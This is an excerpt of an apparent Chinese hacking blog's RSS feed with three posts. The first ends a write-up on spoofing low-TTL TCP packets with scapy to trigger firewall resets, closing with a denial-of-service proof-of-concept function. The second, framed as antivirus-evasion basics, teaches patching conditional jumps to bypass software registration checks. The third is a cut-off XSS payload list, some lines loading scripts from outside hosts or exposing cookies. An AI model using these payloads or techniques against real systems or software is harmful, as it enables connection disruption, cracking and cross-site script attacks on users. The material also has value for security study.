send(IP(dst=&quot;64.233.189.103&quot;,src=&quot;121.121.121.121&quot;,ttl=10)/TCP(dport=80,sport=2222,flags=&quot;P&quot;,seq=1234568)/&quot;GET /q=freenet/freenet&amp;oq=&amp;aqi=1 HTTP/1.1&quot;)</code></pre><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 8px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">甚至可以利用这个对其他的应用如gtalk进行dos，我们只要知道某个公司的出口ip，然后罗列gtalk的使用ip和端口就可以做到，非常简单，现在很多的网站往国外搬，那你有不有考虑本文提到的风险呢？有的公司甚至将Mail服务器放置在国外......<br />但是也可以看到，我们已经实现将后续的链接断开，因为tcp链接序列号的未知性，利用上面提到的貌似还不能让已经建立完成的tcp链接reset，但实际上这款有爱的过滤系统已经帮我们想到了，同时用nc跟Google建立两个链接，在其中一个链接里触发规则，然后在另一个无辜的链接只要被防火墙发现，就会立刻被reset了，看如下的抓包：</p><pre style="margin-top: 4px; margin-right: 4px; margin-bottom: 4px; margin-left: 4px; padding-top: 4px; padding-right: 8px; padding-bottom: 4px; padding-left: 8px; font-family: 'Lucida Console', 'Courier New', Courier, mono, monospace; color: rgb(51, 51, 51); background-color: rgb(248, 248, 248); border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-color: rgb(204, 204, 204); border-right-color: rgb(204, 204, 204); border-bottom-color: rgb(204, 204, 204); border-left-color: rgb(204, 204, 204); border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; line-height: 18px; overflow-x: auto; overflow-y: auto; word-wrap: break-word; max-height: 220px; "><code style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: 'Lucida Console', 'Courier New', Courier, mono, monospace; color: rgb(51, 51, 51); background-color: rgb(248, 248, 248); ">tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes 20:26:52.574643 IP (tos 0x0, ttl  64, id 55786, offset 0, flags [DF], proto: TCP (6), length: 60) 114.249.114.249.60949 &gt; 64.233.189.147.80: S, cksum 0x339b (correct), 1962684567:1962684567(0) win 5840 &lt;mss 1460,sackOK,timestamp 2109008253 0,nop,wscale 7&gt; 20:26:52.617778 IP (tos 0x0, ttl  51, id 15574, offset 0, flags [none], proto: TCP (6), length: 60) 64.233.189.147.80 &gt; 114.249.114.249.60949: S, cksum 0x8801 (correct), 4247640462:4247640462(0) ack 1962684568 win 5672 &lt;mss 1430,sackOK,timestamp 1246071629 2109008253,nop,wscale 6&gt; 20:26:52.617791 IP (tos 0x0, ttl  64, id 55787, offset 0, flags [DF], proto: TCP (6), length: 52) 114.249.114.249.60949 &gt; 64.233.189.147.80: ., cksum 0xcc7d (correct), 1962684568:1962684568(0) ack 4247640463 win 46 &lt;nop,nop,timestamp 2109008296 1246071629&gt;  20:27:00.456284 IP (tos 0x0, ttl  64, id 60678, offset 0, flags [DF], proto: TCP (6), length: 60) 114.249.114.249.60979 &gt; 64.233.189.147.80: S, cksum 0x5ebc (correct), 1983571278:1983571278(0) win 5840 &lt;mss 1460,sackOK,timestamp 2109016136 0,nop,wscale 7&gt; 20:27:00.499066 IP (tos 0x0, ttl  51, id 4036, offset 0, flags [none], proto: TCP (6), length: 60) 64.233.189.147.80 &gt; 114.249.114.249.60979: S, cksum 0xc1d9 (correct), 816454471:816454471(0) ack 1983571279 win 5672 &lt;mss 1430,sackOK,timestamp 1259538068 2109016136,nop,wscale 6&gt; 20:27:00.499074 IP (tos 0x0, ttl  64, id 60679, offset 0, flags [DF], proto: TCP (6), length: 52) 114.249.114.249.60979 &gt; 64.233.189.147.80: ., cksum 0x0656 (correct), 1983571279:1983571279(0) ack 816454472 win 46 &lt;nop,nop,timestamp 2109016179 1259538068&gt;  20:27:18.827802 IP (tos 0x0, ttl  64, id 60680, offset 0, flags [DF], proto: TCP (6), length: 77) 114.249.114.249.60979 &gt; 64.233.189.147.80: P, cksum 0x02a9 (incorrect (-&gt; 0xd051), 1983571279:1983571304(25) ack 816454472 win 46 &lt;nop,nop,timestamp 2109034511 1259538068&gt; 20:27:18.870912 IP (tos 0x0, ttl  51, id 4036, offset 0, flags [none], proto: TCP (6), length: 52) 64.233.189.147.80 &gt; 114.249.114.249.60979: ., cksum 0x76b1 (correct), 816454472:816454472(0) ack 1983571304 win 89 &lt;nop,nop,timestamp 1259556440 2109034511&gt; 20:27:19.289520 IP (tos 0x0, ttl  64, id 60681, offset 0, flags [DF], proto: TCP (6), length: 53) 114.249.114.249.60979 &gt; 64.233.189.147.80: P, cksum 0x0291 (incorrect (-&gt; 0x6b05), 1983571304:1983571305(1) ack 816454472 win 46 &lt;nop,nop,timestamp 2109034973 1259556440&gt; 20:27:19.334402 IP (tos 0x0, ttl  51, id 4037, offset 0, flags [none], proto: TCP (6), length: 52) 64.233.189.147.80 &gt; 114.249.114.249.60979: ., cksum 0x7315 (correct), 816454472:816454472(0) ack 1983571305 win 89 &lt;nop,nop,timestamp 1259556901 2109034973&gt; 20:27:19.338648 IP (tos 0x0, ttl  52, id 64, offset 0, flags [none], proto: TCP (6), length: 40) 64.233.189.147.80 &gt; 114.249.114.249.60979: R, cksum 0x0142 (correct), 816454472:816454472(0) win 29119  20:27:37.856781 IP (tos 0x0, ttl  64, id 55788, offset 0, flags [DF], proto: TCP (6), length: 67) 114.249.114.249.60949 &gt; 64.233.189.147.80: P, cksum 0x029f (incorrect (-&gt; 0x4d19), 1962684568:1962684583(15) ack 4247640463 win 46 &lt;nop,nop,timestamp 2109053544 1246071629&gt; 20:27:37.900887 IP (tos 0x0, ttl  51, id 15574, offset 0, flags [none], proto: TCP (6), length: 52) 64.233.189.147.80 &gt; 114.249.114.249.60949: ., cksum 0x6aa0 (correct), 4247640463:4247640463(0) ack 1962684583 win 89 &lt;nop,nop,timestamp 1246116911 2109053544&gt; 20:27:37.911380 IP (tos 0x0, ttl  52, id 64, offset 0, flags [none], proto: TCP (6), length: 40) 64.233.189.147.80 &gt; 114.249.114.249.60949: R, cksum 0xd646 (correct), 4247640463:4247640463(0) win 4621</code></pre><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 8px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">这个时候抓包的时候由于我换了服务器注意ttl已经跟之前不一样了，但是那个id=64露出了尾巴，前面三个包是第一个tcp链接，端口是60949，后面一个链接的端口是60979，下面的是60979触发规则被reset掉了，然后本来正常的第二个链接一旦发出了数据包就立刻被reset，充分证明了这个联动的迅速和及时：）<br />那我们就有了满篇废话之后的一个简单的结论，dos国内和国外的链接是可能的，无论是建立好的还是未建立的，在scapy里的poc函数如下：</p><pre style="margin-top: 4px; margin-right: 4px; margin-bottom: 4px; margin-left: 4px; padding-top: 4px; padding-right: 8px; padding-bottom: 4px; padding-left: 8px; font-family: 'Lucida Console', 'Courier New', Courier, mono, monospace; color: rgb(51, 51, 51); background-color: rgb(248, 248, 248); border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-color: rgb(204, 204, 204); border-right-color: rgb(204, 204, 204); border-bottom-color: rgb(204, 204, 204); border-left-color: rgb(204, 204, 204); border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; line-height: 18px; overflow-x: auto; overflow-y: auto; word-wrap: break-word; max-height: 220px; "><code style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: 'Lucida Console', 'Courier New', Courier, mono, monospace; color: rgb(51, 51, 51); background-color: rgb(248, 248, 248); ">def dos(srcip, dstip , tport ): send(IP(dst=dstip,src=srcip,ttl=10)/TCP(dport=tport,sport=3223,flags=&quot;S&quot;,seq=3334567)) send(IP(dst=dstip,src=srcip,ttl=10)/TCP(dport=tport,sport=3223,flags=&quot;A&quot;,seq=3334568)) send(IP(dst=dstip,src=srcip,ttl=10)/TCP(dport=tport,sport=3223,flags=&quot;P&quot;,seq=3334568)/&quot;GET /?q=freenet/freenet HTTP/1.1\r\n\r\n&quot;) dos(&quot;114.249.114.249&quot;,&quot;64.233.189.103&quot;,80);</code></pre><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 8px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">最后再说说前面的问题，如何在数据包完全被伪造的时候判断设备的物理位置，很明显，还是利用TTL：</p><pre style="margin-top: 4px; margin-right: 4px; margin-bottom: 4px; margin-left: 4px; padding-top: 4px; padding-right: 8px; padding-bottom: 4px; padding-left: 8px; font-family: 'Lucida Console', 'Courier New', Courier, mono, monospace; color: rgb(51, 51, 51); background-color: rgb(248, 248, 248); border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-color: rgb(204, 204, 204); border-right-color: rgb(204, 204, 204); border-bottom-color: rgb(204, 204, 204); border-left-color: rgb(204, 204, 204); border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; line-height: 18px; overflow-x: auto; overflow-y: auto; word-wrap: break-word; max-height: 220px; "><code style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: 'Lucida Console', 'Courier New', Courier, mono, monospace; color: rgb(51, 51, 51); background-color: rgb(248, 248, 248); ">&gt;&gt;&gt; send(IP(dst=&quot;64.233.189.103&quot;,src=&quot;121.121.121.121&quot;,ttl=8)/TCP(dport=80,sport=2222,flags=&quot;P&quot;,seq=1234568)/&quot;GET /q=freenet/freenet&amp;oq=&amp;aqi=1 HTTP/1.1&quot;)</code></pre><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 8px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">在ttl=8的时候，我们依然收到了系统的重置包，这样就可以判断数据包被旁路的位置了：）</p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 8px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">0x03	后话</p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 8px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">从技术角度来讲，避免这种方式的攻击会比较困难，防火墙作为一个安全设备是不能对正常的使用造成影响的，所以检测的方式来说还是比较被动，譬如不能实时的丢弃一个数据包，前面我就很奇怪为什么防火墙不直接丢弃发起链接的syn包或者发起非法链接的psh包呢，这是因为防火墙整个架构和设计造成的，整个数据包已经到达服务器了，他不能丢弃。同样，由于架构的原因，我们无法使同一条tcp的数据流永远经过同一个路由器同一个设备，所以我们无法对一个数据包的有效性做验证，而即使可以验证整个请求的有效性也可以看到，在防火墙两侧一起愚弄防火墙是多么容易的事情，跟以前的反弹穿透防火墙一样，利用ttl的差异我们一样可以bypass掉对一个数据包做真实的有效性验证，这里包括其他厂商的如Cisco等设备都可能会有这种问题。我不知道对于一个设备来说，抛弃一个ttl过小的包是否明智，防火墙是旁路在设备里，也无法对ttl比较小的包做到实时的丢弃，一旦发现发现有ttl过小的包肯定不能直接放过，因为可能别人就利用这个来bypass防火墙，那么必须对ttl过小的包做处理，处理包括响应rst链接要求重置，这的确会缓解本文提到的问题，但是不知道这么复杂的逻辑会不会带来新的问题，逻辑可能本身就是漏洞。在TTL之外，而相信其他的畸形的数据包一样可能造成设备处理上的失误，只要服务器和设备对数据包处理不一致就可以实现，而这种不一致性因为种种原因是非常多的。本文只是对学习的网络知识做了一次实践，感谢历来帮助我学习的同学，你们知道你们是谁：）</p>]]></description><category>黑客技术</category><comments>http://www.mk2leo.com/post/178.html#comment</comments><wfw:comment>http://www.mk2leo.com/</wfw:comment><wfw:commentRss>http://www.mk2leo.com/feed.asp?cmt=178</wfw:commentRss><trackback:ping>http://www.mk2leo.com/cmd.asp?act=tb&amp;id=178&amp;key=3baf5028</trackback:ping></item><item><title>汇编免杀基础知识——-扫盲 </title><author>mk2leo@qq.com (leoling504)</author><link>http://www.mk2leo.com/post/142.html</link><pubDate>Wed, 22 Apr 2009 03:03:13 +0800</pubDate><guid>http://www.mk2leo.com/post/142.html</guid><description><![CDATA[<div class="t_msgfont" id="postmessage_47333">汇编免杀基础知识&mdash;&mdash;-扫盲 <br /><br />一.机械码,又称机器码.<br />ultraedit打开,编辑exe文件时你会看到<br />许许多多的由0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F组成的数码,这些数码<br />就是机器码.<br />修改程序时必须通过修改机器码来修改exe文件.<br /><br />二.需要熟练掌握的全部汇编知识(只有这么多)<br />不大容易理解,可先强行背住,混个脸儿熟,以后慢慢的就理解了<br />cmp a,b 比较a与b<br />mov a,b 把b的值送给a<br />ret 返回主程序<br />nop 无作用,英文&ldquo;no operation&rdquo;的简写，意思是&ldquo;do nothing&rdquo;(机器码90)***机器码的含义参看上面<br />(解释:ultraedit打开编辑exe文件时你看到90,等同于汇编语句nop)<br />call 调用子程序<br />je 或jz 若相等则跳(机器码74 或0F84)<br />jne或jnz 若不相等则跳(机器码75或0F85)<br />jmp 无条件跳(机器码EB)<br />jb 若小于则跳<br />ja 若大于则跳<br />jg 若大于则跳<br />jge 若大于等于则跳<br />jl 若小于则跳<br />jle 若小于等于则跳<br />pop 出栈<br />push 压栈<br /><br />三.常见修改(机器码)<br />74=&gt;75 74=&gt;90 74=&gt;EB<br />75=&gt;74 75=&gt;90 75=&gt;EB<br /><br />jnz-&gt;nop<br />75-&gt;90(相应的机器码修改)<br /><br />jnz -&gt; jmp<br />75 -&gt; EB(相应的机器码修改)<br /><br />jnz -&gt; jz<br />75-&gt;74 (正常) 0F 85 -&gt; 0F 84(特殊情况下,有时,相应的机器码修改)<br /><br />四.两种不同情况的不同修改方法<br />1.修改为jmp<br />je(jne,jz,jnz) =&gt;jmp相应的机器码EB （出错信息向上找到的第一个跳转）jmp的作用是绝对跳，无条件跳，从而跳过下面的出错信息<br /><br />xxxxxxxxxxxx 出错信息，例如：注册码不对，sorry,未注册版不能...，&quot;Function Not Avaible in Demo&quot; 或 &quot;Command Not Avaible&quot; 或 &quot;Can't save in Shareware/Demo&quot;等 （我们希望把它跳过，不让它出现）<br />。。。<br />。。。<br />xxxxxxxxxxxx 正确路线所在<br /><br />2.修改为nop<br />je(jne,jz,jnz) =&gt;nop相应的机器码90 （正确信息向上找到的第一个跳转） nop的作用是抹掉这个跳转，使这个跳转无效，失去作用，从而使程序顺利来到紧跟其后的正确信息处<br /><br />xxxxxxxxxxxx 正确信息，例如：注册成功，谢谢您的支持等（我们希望它不被跳过，让它出现，程序一定要顺利来到这里）<br />。。。<br />。。。<br />xxxxxxxxxxxx 出错信息（我们希望不要跳到这里，不让它出现）它们在存贮器和寄存器、寄存器和输入输出端口之间传送数据. <br />1. 通用数据传送指令. <br />MOV 传送字或字节. <br />MOVSX 先符号扩展,再传送. <br />MOVZX 先零扩展,再传送. <br />PUSH 把字压入堆栈. <br />POP 把字弹出堆栈. <br />PUSHA 把AX,CX,DX,BX,SP,BP,SI,DI依次压入堆栈. <br />POPA 把DI,SI,BP,SP,BX,DX,CX,AX依次弹出堆栈. <br />PUSHAD 把EAX,ECX,EDX,EBX,ESP,EBP,ESI,EDI依次压入堆栈. <br />POPAD 把EDI,ESI,EBP,ESP,EBX,EDX,ECX,EAX依次弹出堆栈. <br />BSWAP 交换32位寄存器里字节的顺序 <br />XCHG 交换字或字节.( 至少有一个操作数为寄存器,段寄存器不可作为操作数) <br />CMPXCHG 比较并交换操作数.( 第二个操作数必须为累加器AL/AX/EAX ) <br />XADD 先交换再累加.( 结果在第一个操作数里 ) <br />XLAT 字节查表转换. <br />── BX 指向一张 256 字节的表的起点, AL 为表的索引值 (0-255,即 <br />0-FFH); 返回 AL 为查表结果. ( [BX+AL]-&gt;AL ) <br />2. 输入输出端口传送指令. <br />IN I/O端口输入. ( 语法: IN 累加器, {端口号│DX} ) <br />OUT I/O端口输出. ( 语法: OUT {端口号│DX},累加器 ) <br />输入输出端口由立即方式指定时, 其范围是 0-255; 由寄存器 DX 指定时, <br />其范围是 0-65535. <br />3. 目的地址传送指令. <br />LEA 装入有效地址. <br />例: LEA DX,string ;把偏移地址存到DX. <br />LDS 传送目标指针,把指针内容装入DS. <br />例: LDS SI,string ;把段地址:偏移地址存到DS:SI. <br />LES 传送目标指针,把指针内容装入ES. <br />例: LES DI,string ;把段地址:偏移地址存到ESI. <br />LFS 传送目标指针,把指针内容装入FS. <br />例: LFS DI,string ;把段地址:偏移地址存到FSI. <br />LGS 传送目标指针,把指针内容装入GS. <br />例: LGS DI,string ;把段地址:偏移地址存到GSI. <br />LSS 传送目标指针,把指针内容装入SS. <br />例: LSS DI,string ;把段地址:偏移地址存到SSI. <br />4. 标志传送指令. <br />LAHF 标志寄存器传送,把标志装入AH. <br />SAHF 标志寄存器传送,把AH内容装入标志寄存器. <br />PUSHF 标志入栈. <br />POPF 标志出栈. <br />PUSHD 32位标志入栈. <br />POPD 32位标志出栈. <br /><br />二、算术运算指令 <br />─────────────────────────────────────── <br />ADD 加法. <br />ADC 带进位加法. <br />INC 加 1. <br />AAA 加法的ASCII码调整. <br />DAA 加法的十进制调整. <br />SUB 减法. <br />SBB 带借位减法. <br />DEC 减 1. <br />NEC 求反(以 0 减之). <br />CMP 比较.(两操作数作减法,仅修改标志位,不回送结果). <br />AAS 减法的ASCII码调整. <br />DAS 减法的十进制调整. <br />MUL 无符号乘法. <br />IMUL 整数乘法. <br />以上两条,结果回送AH和AL(字节运算),或DX和AX(字运算), <br />AAM 乘法的ASCII码调整. <br />DIV 无符号除法. <br />IDIV 整数除法. <br />以上两条,结果回送: <br />商回送AL,余数回送AH, (字节运算); <br />或 商回送AX,余数回送DX, (字运算). <br />AAD 除法的ASCII码调整. <br />CBW 字节转换为字. (把AL中字节的符号扩展到AH中去) <br />CWD 字转换为双字. (把AX中的字的符号扩展到DX中去) <br />CWDE 字转换为双字. (把AX中的字符号扩展到EAX中去) <br />CDQ 双字扩展. (把EAX中的字的符号扩展到EDX中去) <br /><br />三、逻辑运算指令 <br />─────────────────────────────────────── <br />AND 与运算. <br />or 或运算. <br />XOR 异或运算. <br />NOT 取反. <br />TEST 测试.(两操作数作与运算,仅修改标志位,不回送结果). <br />SHL 逻辑左移. <br />SAL 算术左移.(=SHL) <br />SHR 逻辑右移. <br />SAR 算术右移.(=SHR) <br />ROL 循环左移. <br />ROR 循环右移. <br />RCL 通过进位的循环左移. <br />RCR 通过进位的循环右移. <br />以上八种移位指令,其移位次数可达255次. <br />移位一次时, 可直接用操作码. 如 SHL AX,1. <br />移位&gt;1次时, 则由寄存器CL给出移位次数. <br />如 MOV CL,04 <br />SHL AX,CL <br /><br />四、串指令 <br />─────────────────────────────────────── <br />DS:SI 源串段寄存器 :源串变址. <br />ESI 目标串段寄存器:目标串变址. <br />CX 重复次数计数器. <br />AL/AX 扫描值. <br />D标志 0表示重复操作中SI和DI应自动增量; 1表示应自动减量. <br />Z标志 用来控制扫描或比较操作的结束. <br />MOVS 串传送. <br />( MOVSB 传送字符. MOVSW 传送字. MOVSD 传送双字. ) <br />CMPS 串比较. <br />( CMPSB 比较字符. CMPSW 比较字. ) <br />SCAS 串扫描. <br />把AL或AX的内容与目标串作比较,比较结果反映在标志位. <br />LODS 装入串. <br />把源串中的元素(字或字节)逐一装入AL或AX中. <br />( LODSB 传送字符. LODSW 传送字. LODSD 传送双字. ) <br />STOS 保存串. <br />是LODS的逆过程. <br />REP 当CX/ECX&lt;&gt;0时重复. <br />REPE/REPZ 当ZF=1或比较结果相等,且CX/ECX&lt;&gt;0时重复. <br />REPNE/REPNZ 当ZF=0或比较结果不相等,且CX/ECX&lt;&gt;0时重复. <br />REPC 当CF=1且CX/ECX&lt;&gt;0时重复. <br />REPNC 当CF=0且CX/ECX&lt;&gt;0时重复. <br /><br />五、程序转移指令 <br />─────────────────────────────────────── <br />1&gt;无条件转移指令 (长转移) <br />JMP 无条件转移指令 <br />CALL 过程调用 <br />RET/RETF过程返回. <br />2&gt;条件转移指令 (短转移,-128到+127的距离内) <br />( 当且仅当(SF XOR OF)=1时,OP1&lt;OP2 ) <br />JA/JNBE 不小于或不等于时转移. <br />JAE/JNB 大于或等于转移. <br />JB/JNAE 小于转移. <br />JBE/JNA 小于或等于转移. <br />以上四条,测试无符号整数运算的结果(标志C和Z). <br />JG/JNLE 大于转移. <br />JGE/JNL 大于或等于转移. <br />JL/JNGE 小于转移. <br />JLE/JNG 小于或等于转移. <br />以上四条,测试带符号整数运算的结果(标志S,O和Z). <br />JE/JZ 等于转移. <br />JNE/JNZ 不等于时转移. <br />JC 有进位时转移. <br />JNC 无进位时转移. <br />JNO 不溢出时转移. <br />JNP/JPO 奇偶性为奇数时转移. <br />JNS 符号位为 &quot;0&quot; 时转移. <br />JO 溢出转移. <br />JP/JPE 奇偶性为偶数时转移. <br />JS 符号位为 &quot;1&quot; 时转移. <br />3&gt;循环控制指令(短转移) <br />LOOP CX不为零时循环. <br />LOOPE/LOOPZ CX不为零且标志Z=1时循环. <br />LOOPNE/LOOPNZ CX不为零且标志Z=0时循环. <br />JCXZ CX为零时转移. <br />JECXZ ECX为零时转移. <br />4&gt;中断指令 <br />INT 中断指令 <br />INTO 溢出中断 <br />IRET 中断返回 <br />5&gt;处理器控制指令 <br />HLT 处理器暂停, 直到出现中断或复位信号才继续. <br />WAIT 当芯片引线TEST为高电平时使CPU进入等待状态. <br />ESC 转换到外处理器. <br />LOCK 封锁总线. <br />NOP 空操作. <br />STC 置进位标志位. <br />CLC 清进位标志位. <br />CMC 进位标志取反. <br />STD 置方向标志位. <br />CLD 清方向标志位. <br />STI 置中断允许位. <br />CLI 清中断允许位. <br /><br />六、伪指令 <br />─────────────────────────────────────── <br />DW 定义字(2字节). <br />PROC 定义过程. <br />ENDP 过程结束. <br />SEGMENT 定义段. <br />ASSUME 建立段寄存器寻址. <br />ENDS 段结束. <br />END 程序结束.</div>]]></description><category>黑客技术</category><comments>http://www.mk2leo.com/post/142.html#comment</comments><wfw:comment>http://www.mk2leo.com/</wfw:comment><wfw:commentRss>http://www.mk2leo.com/feed.asp?cmt=142</wfw:commentRss><trackback:ping>http://www.mk2leo.com/cmd.asp?act=tb&amp;id=142&amp;key=866eae6a</trackback:ping></item><item><title>XSS攻击测试语句大全</title><author>mk2leo@qq.com (leoling504)</author><link>http://www.mk2leo.com/post/141.html</link><pubDate>Mon, 20 Apr 2009 00:58:59 +0800</pubDate><guid>http://www.mk2leo.com/post/141.html</guid><description><![CDATA[<p>跨站脚本=XSS攻击测试语句大全</p><p><a href="http://hi.baidu.com/tianjishu/blog/item/&nbsp;%3C">url: %3C</a>=&lt;&nbsp;&nbsp; %3E=&gt;&nbsp;&nbsp; %22=&quot;&nbsp;&nbsp; %2e=.&nbsp;&nbsp; (=%28&nbsp;&nbsp; '=%27&nbsp;&nbsp;&nbsp; )=%29&nbsp;&nbsp; /=%2F&nbsp;&nbsp; ;=%3B<br />hex:0x3C=&lt; 0x3E=&gt; 0x22=&quot; 0x2e=. (=0x28 '=0x27&nbsp;&nbsp; )=0x29 /=0x2F ;=0x3B<br />&nbsp;&nbsp;&nbsp;&nbsp; &amp;#x3c</p><p>&lt;script&gt;alert('xss')&lt;/script&gt;&nbsp;&nbsp; ==0x3C7363726970743E616C657274282778737327293C2F7363726970743E<br />&lt;script&gt;document.location='http://www.tjs8.cn'&lt;/script&gt;<br />&gt;&lt;script&gt;alert('xss')&lt;/script&gt;&lt;<br />&gt;&lt;script&gt;alert(document.cookie)&lt;/script&gt; <br />='&gt;&lt;script&gt;alert(document.cookie)&lt;/script&gt; <br />&lt;script&gt;alert(document.cookie)&lt;/script&gt; <br />&lt;script&gt;alert(vulnerable)&lt;/script&gt; <br />%3Cscript%3Ealert('XSS')%3C/script%3E <br />&lt;img src=&quot;javascript:alert('XSS')&quot;&gt; <br />&lt;img src=&quot;#&quot; onerror=alert(/xss/)&gt;<br />&lt;img src=&quot;#&quot; style=&quot;Xss:expression(alert(/xss/));&quot;&gt;<br />&lt;img src=&quot;javascript:alert('XSS');&quot;&gt; <br />&lt;img src=javascript:alert('XSS')&gt; <br />&lt;img src=JaVaScRiPt:alert('XSS')&gt; <br />&lt;img src=JaVaScRiPt:alert(&amp;quot;XSS&amp;quot;)&gt; <br />&lt;img src=javascript:alert(&quot;XSS&quot;)&gt; <br />&lt;img src=&amp;#x6A&amp;#x61&amp;#x76&amp;#x61&amp;#x73&amp;#x63&amp;#x72&amp;#x69&amp;#x70&amp;#x74&amp;#x3A&amp;#x61&amp;#x6C&amp;#x65&amp;#x72&amp;#x74&amp;#x28&amp;#x27&amp;#x58&amp;#x53&amp;#x53&amp;#x27&amp;#x29&gt; <br />&lt;img src=&quot;ja vascript:alert('XSS');&quot;&gt; <br />&lt;img src=&quot;jav ascript:alert('XSS');&quot;&gt; <br />&lt;img src=&quot;java script:alert('XSS');&quot;&gt; <br />&quot;&lt;img src=javascript:alert(\&quot;XSS\&quot;)&gt;&quot;;' &gt; out <br />&lt;img src=&quot; javascript:alert('XSS');&quot;&gt; <br />&lt;script&gt;a=/XSS/alert(a.source)&lt;/script&gt; <br />&lt;BODY BACKGROUND=&quot;javascript:alert('XSS')&quot;&gt; <br />&lt;BODY ONLOAD=alert('XSS')&gt; <br />&lt;IMG DYNSRC=&quot;javascript:alert('XSS')&quot;&gt; <br />&lt;IMG LOWSRC=&quot;javascript:alert('XSS')&quot;&gt; <br />&lt;BGSOUND src=&quot;javascript:alert('XSS');&quot;&gt; <br />&lt;br size=&quot;&amp;{alert('XSS')}&quot;&gt; <br />&lt;layer src=&quot;&quot; target=&quot;_blank&quot;&gt;http://xss.ha.ckers.org/a.js&quot;&gt;&lt;/layer&gt; <br />&lt;LINK REL=&quot;stylesheet&quot; HREF=&quot;javascript:alert('XSS');&quot;&gt; <br />&lt;img src='vbscript:msgbox(&quot;XSS&quot;)'&gt; <br />&lt;img src=&quot;mocha:[code]&quot;&gt; <br />&lt;img src=&quot;livescript:[code]&quot;&gt; <br />&lt;META HTTP-EQUIV=&quot;refresh&quot; CONTENT=&quot;0;url=javascript:alert('XSS');&quot;&gt; <br />&lt;IFRAME SRC=javascript:alert('XSS')&gt;&lt;/IFRAME&gt; <br />&lt;FRAMESET&gt;&lt;FRAME SRC=javascript:alert('XSS')&gt;&lt;/FRAME&gt;&lt;/FRAMESET&gt; <br />&lt;TABLE BACKGROUND=&quot;javascript:alert('XSS')&quot;&gt; <br />&lt;DIV STYLE=&quot;background-image: url(javascript:alert('XSS'))&quot;&gt; <br />&lt;DIV STYLE=&quot;behaviour: url('&quot; target=&quot;_blank&quot;&gt;http://www.how-to-hack.org/exploit.html');&quot;&gt; <br />&lt;DIV STYLE=&quot;width: expression(alert('XSS'));&quot;&gt; <br />&lt;STYLE&gt;@im\port'\ja\vasc\ript:alert(&quot;XSS&quot;)';&lt;/STYLE&gt; <br />&lt;IMG STYLE='xss:expre\ssion(alert(&quot;XSS&quot;))'&gt; <br />&lt;STYLE TYPE=&quot;text/javascript&quot;&gt;alert('XSS');&lt;/STYLE&gt; <br />&lt;STYLE TYPE=&quot;text/css&quot;&gt;.XSS{background-image:url(&quot;javascript:alert('XSS')&quot;);}&lt;/STYLE&gt;&lt;A CLASS=XSS&gt;&lt;/A&gt; <br />&lt;STYLE type=&quot;text/css&quot;&gt;BODY{background:url(&quot;javascript:alert('XSS')&quot;)}&lt;/STYLE&gt; <br />&lt;BASE HREF=&quot;javascript:alert('XSS');//&quot;&gt; <br />getURL(&quot;javascript:alert('XSS')&quot;) <br />a=&quot;get&quot;;b=&quot;URL&quot;;c=&quot;javascript:&quot;;d=&quot;alert('XSS');&quot;;eval(a+b+c+d); <br />&lt;XML SRC=&quot;javascript:alert('XSS');&quot;&gt; <br />&quot;&gt; &lt;BODY ONLOAD=&quot;a();&quot;&gt;&lt;SCRIPT&gt;function a(){alert('XSS');}&lt;/SCRIPT&gt;&lt;&quot; <br />&lt;SCRIPT SRC=&quot;&quot; target=&quot;_blank&quot;&gt;http://xss.ha.ckers.org/xss.jpg&quot;&gt;&lt;/SCRIPT&gt; <br />&lt;IMG SRC=&quot;javascript:alert('XSS')&quot; <br />&lt;IMG SRC=&quot;javascript:alert('XSS')&quot; <br />&lt;!--#exec cmd=&quot;/bin/echo '&lt;SCRIPT SRC'&quot;--&gt;&lt;!--#exec cmd=&quot;/bin/echo '=http://xss.ha.ckers.org/a.js&gt;&lt;/SCRIPT&gt;'&quot;--&gt; <br />&lt;IMG SRC=&quot;&quot; target=&quot;_blank&quot;&gt;http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode&quot;&gt; <br />&lt;SCRIPT a=&quot;&gt;&quot; SRC=&quot;&quot; target=&quot;_blank&quot;&gt;http://xss.ha.ckers.org/a.js&quot;&gt;&lt;/SCRIPT&gt; <br />&lt;SCRIPT =&quot;&gt;&quot; SRC=&quot;&quot; target=&quot;_blank&quot;&gt;http://xss.ha.ckers.org/a.js&quot;&gt;&lt;/SCRIPT&gt; <br />&lt;SCRIPT a=&quot;&gt;&quot; '' SRC=&quot;&quot; target=&quot;_blank&quot;&gt;http://xss.ha.ckers.org/a.js&quot;&gt;&lt;/SCRIPT&gt; <br />&lt;SCRIPT &quot;a='&gt;'&quot; SRC=&quot;&quot; target=&quot;_blank&quot;&gt;http://xss.ha.ckers.org/a.js&quot;&gt;&lt;/SCRIPT&gt; <br 